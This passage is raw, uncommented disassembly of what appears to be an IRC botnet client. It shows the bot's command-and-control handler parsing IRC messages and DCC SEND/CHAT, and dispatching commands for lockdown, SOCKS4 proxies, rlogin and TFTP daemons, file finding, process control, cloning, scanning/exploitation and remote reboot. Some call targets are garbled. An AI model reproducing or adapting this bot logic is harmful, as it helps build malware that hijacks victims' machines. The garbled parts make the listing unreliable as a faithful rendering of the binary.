ecx test eax, eax pop ecx jnz short loc_40F145 mov [ebp+var_AC], 1 loc_40F145: ; CODE XREF: sub_40EE72+2C7j add esi, edi dec [ebp+var_BC] jnz short loc_40F128 mov esi, [ebp+var_90] push esi push offset aKick ; "KICK" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F241 mov esi, [ebp+arg_18] mov [ebp+arg_24], 2 loc_40F174: ; CODE XREF: sub_40EE72+392j cmp [esi], bl jz loc_40F1FF push 7Fh lea eax, [ebp+var_AA8] push esi push eax call sub_418C10 lea eax, [ebp+var_D8] add esp, 0Ch test eax, eax jz short loc_40F1FF cmp [ebp+var_88], ebx jz short loc_40F1FF push [ebp+var_88] lea eax, [ebp+var_D8] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F1FF lea eax, [ebp+var_D8] mov [esi], bl push eax lea eax, [ebp+var_2DC] push offset dword_438738 push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_40D633 lea eax, [ebp+var_2DC] push eax call sub_40BF6D add esp, 14h loc_40F1FF: ; CODE XREF: sub_40EE72+304j ; sub_40EE72+324j ... add esi, edi dec [ebp+arg_24] jnz loc_40F174 push [ebp+var_88] push [ebp+arg_10] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F239 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_40F22E: ; CODE XREF: sub_40EE72+618j ; sub_40EE72+978j push [ebp+arg_4] call sub_40D633 loc_40F236: ; CODE XREF: sub_40EE72+57D8j ; sub_40EE72+57F5j ... add esp, 10h loc_40F239: ; CODE XREF: sub_40EE72+5Bj ; sub_40EE72+F1j ... push 1 loc_40F23B: ; CODE XREF: sub_40EE72+5CEBj pop eax loc_40F23C: ; CODE XREF: sub_40EE72+29Fj ; sub_40EE72+229Dj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40F241: ; CODE XREF: sub_40EE72+2F2j push esi push offset aNick ; "NICK" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F397 mov eax, [ebp+var_8C] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 2 mov [ebp+arg_24], eax loc_40F26A: ; CODE XREF: sub_40EE72+44Aj lea eax, [ebp+var_AA8] push eax push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F2B7 lea eax, [ebp+var_AA8] push 21h push eax call sub_418F50 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_40F2B7 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_4179C0 push [ebp+arg_1C] push edi call sub_4179D0 add esp, 10h mov edi, 80h loc_40F2B7: ; CODE XREF: sub_40EE72+409j ; sub_40EE72+420j add esi, edi dec [ebp+arg_0] jnz short loc_40F26A lea eax, [ebp+var_D8] test eax, eax jz loc_40F239 cmp [ebp+arg_24], ebx jz loc_40F239 push [ebp+arg_10] lea eax, [ebp+var_D8] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F2FF push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_418C10 add esp, 0Ch jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F2FF: ; CODE XREF: sub_40EE72+476j mov edi, [ebp+arg_18] xor esi, esi loc_40F304: ; CODE XREF: sub_40EE72+4B3j cmp [edi], bl jz short loc_40F31B lea eax, [ebp+var_AA8] push eax push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F32C loc_40F31B: ; CODE XREF: sub_40EE72+494j inc esi add edi, 80h cmp esi, 2 jl short loc_40F304 jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F32C: ; CODE XREF: sub_40EE72+4A7j lea eax, [ebp+var_AA8] push 21h push eax call sub_418F50 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_40F239 push eax call sub_417AB0 push [ebp+arg_24] mov edi, eax call sub_417AB0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_40F239 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS_0 ; ":%s%s" push esi call sub_4172B0 push ebx lea eax, [ebp+var_4C0] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_40D679 add esp, 24h jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F397: ; CODE XREF: sub_40EE72+3DEj push esi push offset aPart ; "PART" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F3B9 push esi push offset aQuit ; "QUIT" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F3E0 loc_40F3B9: ; CODE XREF: sub_40EE72+534j mov edi, [ebp+arg_18] xor esi, esi loc_40F3BE: ; CODE XREF: sub_40EE72+56Cj cmp [edi], bl jz short loc_40F3D4 push [ebp+var_94] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F42E loc_40F3D4: ; CODE XREF: sub_40EE72+54Ej inc esi add edi, 80h cmp esi, 2 jl short loc_40F3BE loc_40F3E0: ; CODE XREF: sub_40EE72+545j push [ebp+var_90] push offset a353 ; "353" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F48F push [ebp+var_84] push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F417 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40F417: ; CODE XREF: sub_40EE72+59Aj push [ebp+var_84] push offset dword_4386DC loc_40F422: ; CODE XREF: sub_40EE72+5B47j ; sub_40EE72+5E96j ... call sub_40BFE1 pop ecx loc_40F428: ; CODE XREF: sub_40EE72+5FABj pop ecx jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F42E: ; CODE XREF: sub_40EE72+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset dword_4386AC push eax call sub_4172B0 lea eax, [ebp+var_2DC] push eax call sub_40BF6D push [ebp+var_90] push offset aPart ; "PART" call sub_4176D0 add esp, 18h test eax, eax jnz loc_40F239 lea eax, [ebp+var_2DC] push eax mov eax, [ebp+var_94] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_40F22E ; --------------------------------------------------------------------------- loc_40F48F: ; CODE XREF: sub_40EE72+582j push [ebp+var_90] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_4176D0 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40F4E3 push [ebp+var_90] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F4E3 push [ebp+var_90] push offset dword_4386A8 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_414F47 cmp dword_42F5B8, ebx jz loc_414F47 loc_40F4E3: ; CODE XREF: sub_40EE72+637j ; sub_40EE72+649j push [ebp+var_90] push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F66F push [ebp+var_90] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F66F mov eax, [ebp+var_88] inc [ebp+var_84] push 4 mov [ebp+var_8C], eax pop esi mov [ebp+var_C0], esi loc_40F52A: ; CODE XREF: sub_40EE72+8B9j ; sub_40EE72+94Dj ... shl esi, 2 mov eax, [ebp+esi+var_94] lea edi, [ebp+esi+var_94] push eax push offset dword_4386A0 mov [ebp+arg_8], eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F96F push [ebp+esi+var_90] push offset aSend_0 ; "SEND" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F82A cmp [ebp+var_AC], ebx jz loc_40F800 push [ebp+esi+var_8C] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_6F4] push edi push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_708] push [ebp+esi+var_88] push edi push eax call sub_4172B0 push [ebp+esi+var_84] call sub_41781F mov [ebp+var_570], eax mov eax, [ebp+arg_4] mov [ebp+var_710], eax lea eax, [ebp+var_D8] push 7Fh push eax lea eax, [ebp+var_5F0] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_5F0] push eax lea eax, [ebp+var_6F4] push eax lea eax, [ebp+var_2DC] push offset dword_43865C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 12h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C8B4 push ebx push ebx call near ptr 2660D4Bh nop mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz loc_40F7EF loc_40F659: ; CODE XREF: sub_40EE72+7FBj cmp [ebp+var_560], ebx jnz loc_40F822 push 32h nop call near ptr 25F0439h jmp short loc_40F659 ; --------------------------------------------------------------------------- loc_40F66F: ; CODE XREF: sub_40EE72+681j ; sub_40EE72+697j push [ebp+var_90] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F688 mov [ebp+var_4], 1 loc_40F688: ; CODE XREF: sub_40EE72+80Dj cmp [ebp+var_8C], ebx jz loc_40F239 push (offset loc_4289A7+1) push [ebp+var_8C] call sub_417880 pop ecx test eax, eax pop ecx jz short loc_40F6AF cmp [ebp+var_4], ebx jz short loc_40F6BB loc_40F6AF: ; CODE XREF: sub_40EE72+836j lea eax, [ebp+var_D8] mov [ebp+var_8C], eax loc_40F6BB: ; CODE XREF: sub_40EE72+83Bj cmp [ebp+var_88], ebx jz loc_40F239 inc [ebp+var_88] jz short loc_40F707 cmp [ebp+arg_10], ebx jz short loc_40F707 lea eax, [ebp+var_928] push eax call sub_417AB0 push eax lea eax, [ebp+var_928] push [ebp+var_88] push eax call sub_418DA0 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_C0], esi jmp short loc_40F70D ; --------------------------------------------------------------------------- loc_40F707: ; CODE XREF: sub_40EE72+85Bj ; sub_40EE72+860j mov esi, [ebp+var_C0] loc_40F70D: ; CODE XREF: sub_40EE72+893j mov edi, [ebp+esi*4+var_94] cmp edi, ebx jz loc_40F239 push edi push offset dword_438650 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F52A mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz short loc_40F7B0 mov eax, dword_489DD0 mov eax, off_42F6C8[eax*4] cmp [eax], bl jz short loc_40F7B0 push eax push ecx push offset dword_438634 push [ebp+arg_4] call sub_40D633 add esp, 10h lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset aSHasJustVersio ; "%s has just versioned me." push eax call sub_4172B0 lea eax, [ebp+var_2DC] push eax call sub_40BF6D add esp, 10h cmp [ebp+var_AC], ebx jnz loc_40F239 push ebx lea eax, [ebp+var_2DC] push 1 push eax push offset dword_489CDC loc_40F7A0: ; CODE XREF: sub_40EE72+58C1j push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F7B0: ; CODE XREF: sub_40EE72+8C8j ; sub_40EE72+8D8j push edi push offset dword_438610 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F52A mov eax, [ebp+esi*4+var_90] cmp eax, ebx jz loc_40F52A mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz loc_40F52A push eax push ecx push offset dword_4385F8 jmp loc_40F22E ; --------------------------------------------------------------------------- loc_40F7EF: ; CODE XREF: sub_40EE72+7E1j nop call near ptr 2630313h push eax push offset dword_4385B0 jmp loc_40F95B ; --------------------------------------------------------------------------- loc_40F800: ; CODE XREF: sub_40EE72+702j lea eax, [ebp+var_D8] push eax push [ebp+esi+var_8C] push offset dword_438560 loc_40F813: ; CODE XREF: sub_40EE72+6177j ; sub_40EE72+61DEj lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 10h loc_40F822: ; CODE XREF: sub_40EE72+7EDj ; sub_40EE72+AB1j ... push 1 pop esi jmp loc_411100 ; --------------------------------------------------------------------------- loc_40F82A: ; CODE XREF: sub_40EE72+6F6j push [ebp+esi+var_90] push offset aChat ; "CHAT" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F985 cmp [ebp+var_AC], ebx jz loc_40F94F push 13h call sub_416FA4 test eax, eax pop ecx jnz loc_40F941 push [ebp+esi+var_88] lea eax, [ebp+var_708] push offset aS_1 ; "%s" push eax call sub_4172B0 push [ebp+esi+var_84] call sub_41781F mov [ebp+var_570], eax mov eax, [ebp+arg_4] mov [ebp+var_710], eax lea eax, [ebp+var_D8] push 7Fh push eax lea eax, [ebp+var_5F0] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset dword_438528 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 13h push eax call sub_416D5C add esp, 18h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C351 push ebx push ebx nop call near ptr 2660D4Bh mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_40F933 loc_40F91D: ; CODE XREF: sub_40EE72+ABFj cmp [ebp+var_560], ebx jnz loc_40F822 push 32h call near ptr 25F0439h nop jmp short loc_40F91D ; --------------------------------------------------------------------------- loc_40F933: ; CODE XREF: sub_40EE72+AA9j nop call near ptr 2630313h push eax push offset dword_4384E4 jmp short loc_40F95B ; --------------------------------------------------------------------------- loc_40F941: ; CODE XREF: sub_40EE72+9E9j lea eax, [ebp+var_D8] push eax push offset dword_4384A4 jmp short loc_40F95B ; --------------------------------------------------------------------------- loc_40F94F: ; CODE XREF: sub_40EE72+9D9j lea eax, [ebp+var_D8] push eax push offset dword_438464 loc_40F95B: ; CODE XREF: sub_40EE72+989j ; sub_40EE72+ACDj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch jmp loc_40F822 ; --------------------------------------------------------------------------- loc_40F96F: ; CODE XREF: sub_40EE72+6DBj mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_42F5C4 mov [edi], ecx jnz loc_40F239 loc_40F985: ; CODE XREF: sub_40EE72+9CDj mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aC_0 ; "c" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414F4F push [ebp+arg_8] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414F4F cmp [ebp+var_AC], ebx jnz short loc_40F9D5 push [ebp+var_90] push offset dword_4386A8 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_414F47 loc_40F9D5: ; CODE XREF: sub_40EE72+B47j cmp [ebp+arg_28], ebx jnz loc_414F47 xor edi, edi cmp dword_4313B0, ebx jle loc_40FB81 mov [ebp+arg_20], offset dword_444340 loc_40F9F3: ; CODE XREF: sub_40EE72+BA0j push [ebp+arg_8] push [ebp+arg_20] call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40FA19 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_4313B0 jl short loc_40F9F3 jmp loc_40FB81 ; --------------------------------------------------------------------------- loc_40FA19: ; CODE XREF: sub_40EE72+B90j push offset asc_4387B8 ; " :" push [ebp+arg_0] call sub_417880 pop ecx cmp eax, ebx pop ecx jz loc_40F239 mov cl, byte_42F5C4 imul edi, 0B8h mov [eax+2], cl mov cl, byte_42F5C4 mov [eax+3], cl lea ecx, dword_444358[edi] push 9Fh add eax, 4 push ecx push eax call sub_418C10 lea eax, [ebp+esi+var_54] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_40FA6E: ; CODE XREF: sub_40EE72+CA4j push [ebp+arg_20] lea eax, [ebp+var_B8] push offset aD_0 ; "$%d-" push eax call sub_4172B0 lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_417880 add esp, 14h test eax, eax jz short loc_40FADA mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_40FADA lea eax, dword_444340[edi] push eax call sub_417AB0 add [ebp+var_C], eax pop ecx jz short loc_40FB0C mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_40FB0C push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 add esp, 0Ch jmp short loc_40FB0C ; --------------------------------------------------------------------------- loc_40FADA: ; CODE XREF: sub_40EE72+C24j ; sub_40EE72+C2Bj mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_40FB0C lea eax, [ebp+var_B8] push 2 push eax lea eax, [ebp+var_14] push eax call sub_418C10 lea eax, [ebp+var_14] mov [ebp+var_12], bl push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 add esp, 18h loc_40FB0C: ; CODE XREF: sub_40EE72+C3Dj ; sub_40EE72+C51j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_40FA6E lea eax, [ebp+esi+var_54] mov [ebp+arg_20], 10h mov edi, eax loc_40FB29: ; CODE XREF: sub_40EE72+D03j push [ebp+arg_20] lea eax, [ebp+var_B8] push offset aD ; "$%d" push eax call sub_4172B0 lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_417880 add esp, 14h test eax, eax jz short loc_40FB6C mov eax, [edi] cmp eax, ebx jz short loc_40FB6C push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 add esp, 0Ch loc_40FB6C: ; CODE XREF: sub_40EE72+CDFj ; sub_40EE72+CE5j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40FB29 mov [ebp+var_DC], 1 loc_40FB81: ; CODE XREF: sub_40EE72+B74j ; sub_40EE72+BA2j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_42F5C4 jz short loc_40FB9A cmp [ebp+var_DC], ebx jz loc_40FD7F loc_40FB9A: ; CODE XREF: sub_40EE72+D1Aj push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe_0 ; "$me" push edi call sub_40A7D7 lea eax, [ebp+var_D8] push eax push offset aUser_2 ; "$user" push edi call sub_40A7D7 push [ebp+var_8C] push offset aChan ; "$chan" push edi call sub_40A7D7 push ebx push ebx lea eax, [ebp+var_B8] push 2 push eax call sub_415D01 push eax push offset aRndnick ; "$rndnick" push edi call sub_40A7D7 add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_40A7D7 mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_417880 add esp, 14h loc_40FC0C: ; CODE XREF: sub_40EE72+E86j test eax, eax jz loc_40FCFD push edi push [ebp+arg_0] call sub_417880 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_B8] push eax call sub_418C10 lea eax, [ebp+var_B8] push offset asc_438420 ; ")" push eax call sub_418B6E add esp, 1Ch cmp [ebp+var_B8], 30h jl short loc_40FC58 cmp [ebp+var_B8], 39h jle short loc_40FC6E loc_40FC58: ; CODE XREF: sub_40EE72+DDBj push 3 lea eax, [ebp+var_B8] push offset a63 ; "63" push eax call sub_418C10 add esp, 0Ch loc_40FC6E: ; CODE XREF: sub_40EE72+DE4j lea eax, [ebp+var_B8] push eax call sub_41781F test eax, eax pop ecx jle short loc_40FC91 lea eax, [ebp+var_B8] push eax call sub_41781F pop ecx mov [ebp+var_14], al jmp short loc_40FCA2 ; --------------------------------------------------------------------------- loc_40FC91: ; CODE XREF: sub_40EE72+E0Bj call sub_41730C push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_14], dl loc_40FCA2: ; CODE XREF: sub_40EE72+E1Dj lea eax, [ebp+var_B8] mov [ebp+var_13], bl push eax call sub_417AB0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_B8] push ebx push eax call sub_417330 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_B8] push [ebp+arg_10] push eax call sub_418C10 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 push edi push [ebp+arg_0] call sub_417880 add esp, 30h jmp loc_40FC0C ; --------------------------------------------------------------------------- loc_40FCFD: ; CODE XREF: sub_40EE72+D9Cj mov edi, 1FFh lea eax, [ebp+var_FB0] push edi push [ebp+arg_0] push eax call sub_418C10 lea eax, [ebp+var_FB0] push edi push eax lea eax, [ebp+var_11B0] push eax call sub_418C10 lea eax, [ebp+var_11B0] push offset asc_42A3B4 ; " " push eax call sub_418B6E add esp, 20h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+arg_10], 1Fh loc_40FD4D: ; CODE XREF: sub_40EE72+EF0j push offset asc_42A3B4 ; " " push ebx call sub_418B6E mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40FD4D mov ecx, [ebp+esi+var_94] lea eax, [ebp+esi+var_94] cmp ecx, ebx jz loc_40F239 add ecx, 3 mov [eax], ecx loc_40FD7F: ; CODE XREF: sub_40EE72+D22j mov edi, [ebp+esi+var_94] push edi push offset aIrc_rndnick ; "irc.rndnick" mov [ebp+arg_8], edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414EF5 push edi push offset aRn ; "rn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414EF5 push edi push offset aIrc_die ; "irc.die" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ED3 push edi push offset aIrc_di ; "irc.di" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ED3 push edi push offset aIrc_logout ; "irc.logout" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E31 push edi push offset aLo ; "lo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E31 push edi push offset aIrc_version ; "irc.version" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E22 push edi push offset aVer ; "ver" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E22 push edi push offset aLockdown_on ; "lockdown.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aLd_on ; "ld.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aLockdown_off ; "lockdown.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aLd_off ; "ld.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aProxy_socks4_o ; "proxy.socks4.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BEB push edi push offset aProxy_s4_on ; "proxy.s4.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BEB push edi push offset aProxy_socks4_0 ; "proxy.socks4.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FEEF push [ebp+esi+var_90] push 11h push offset aServer ; "Server" push offset dword_438368 loc_40FED3: ; CODE XREF: sub_40EE72+10A1j ; sub_40EE72+10C7j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_416FEA add esp, 20h jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40FEEF: ; CODE XREF: sub_40EE72+104Cj push edi push offset aDaemon_rlogin_ ; "daemon.rlogin.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF15 push [ebp+esi+var_90] push 6 push offset aServer ; "Server" push offset dword_438344 jmp short loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF15: ; CODE XREF: sub_40EE72+108Cj push edi push offset dword_438334 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF3B push [ebp+esi+var_90] push 3 push offset aServer ; "Server" push offset dword_438328 jmp short loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF3B: ; CODE XREF: sub_40EE72+10B2j push edi push offset dword_438320 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF64 push [ebp+esi+var_90] push 1Dh push offset dword_438314 push offset dword_438308 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF64: ; CODE XREF: sub_40EE72+10D8j push edi push offset aProxy_redirect ; "proxy.redirect.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF8D push [ebp+esi+var_90] push 10h push offset dword_4382E4 push offset dword_4382D4 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF8D: ; CODE XREF: sub_40EE72+1101j push edi push offset dword_4382C8 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FFB6 push [ebp+esi+var_90] push 0Ah push offset dword_4382BC push offset dword_4382B0 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FFB6: ; CODE XREF: sub_40EE72+112Aj push edi push offset dword_4382A0 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FFDF push [ebp+esi+var_90] push 0Bh push offset dword_438294 push offset dword_438288 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FFDF: ; CODE XREF: sub_40EE72+1153j push edi push offset dword_438278 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410008 push [ebp+esi+var_90] push 0Fh push offset dword_43826C push offset dword_438260 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410008: ; CODE XREF: sub_40EE72+117Cj push edi push offset dword_438250 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410031 push [ebp+esi+var_90] push 0Eh push offset dword_438244 push offset dword_438238 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410031: ; CODE XREF: sub_40EE72+11A5j push edi push offset aDaemon_tftp_of ; "daemon.tftp.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41005A push [ebp+esi+var_90] push 4 loc_41004B: ; DATA XREF: ___:0042CC90o ; ___:0042CCA4o push offset aServer ; "Server" push offset dword_43821C jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_41005A: ; CODE XREF: sub_40EE72+11CEj push edi push offset aUtil_findfile_ ; "util.findfile.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BD3 push edi push offset aUtil_ff_off ; "util.ff.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BD3 push edi push offset aCom_procs_off ; "com.procs.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BBB push edi push offset aCom_ps_off ; "com.ps.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BBB push edi push offset aClone_off ; "clone.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4100D7 push [ebp+esi+var_90] push 18h push offset aClone ; "Clone" push offset dword_4381BC jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_4100D7: ; CODE XREF: sub_40EE72+124Bj push edi push offset aLockdown_stop ; "lockdown.stop" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410100 push [ebp+esi+var_90] push 1Ah push offset aSecure_0 ; "Secure" push offset dword_438194 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410100: ; CODE XREF: sub_40EE72+1274j push edi push offset aRoot_stop ; "root.stop" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410129 push [ebp+esi+var_90] push 8 push offset aScan ; "Scan" push offset aExploitation ; "Exploitation" jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410129: ; CODE XREF: sub_40EE72+129Dj push edi push offset aRoot_stats ; "root.stats" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BA5 push edi push offset aRoot_st ; "root.st" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BA5 push edi push offset aIrc_reconnect ; "irc.reconnect" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B84 push edi push offset aIrc_r ; "irc.r" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B84 push edi push offset aIrc_disconnect ; "irc.disconnect" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B62 push edi push offset aIrc_d ; "irc.d" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B62 push edi push offset aIrc_quit ; "irc.quit" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B1A push edi push offset aIrc_q ; "irc.q" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B1A push edi push offset aIrc_status ; "irc.status" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ADB push edi push offset aIrc_s ; "irc.s" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ADB push edi push offset aIrc_id ; "irc.id" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ACF push edi push offset aIrc_i ; "irc.i" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ACF push edi push offset aCom_rebewt ; "com.rebewt" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410277 call sub_40AC20 test eax, eax mov eax, offset dword_4380BC jnz short loc_410249 mov eax, offset dword_438088 loc_410249: ; CODE XREF: sub_40EE72+13D0j push eax lea eax, [ebp+var_2DC] push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 1Ch jmp loc_40F822 ; --------------------------------------------------------------------------- loc_410277: ; CODE XREF: sub_40EE72+13C2j push edi push offset aThreads_list ; "threads.list" call 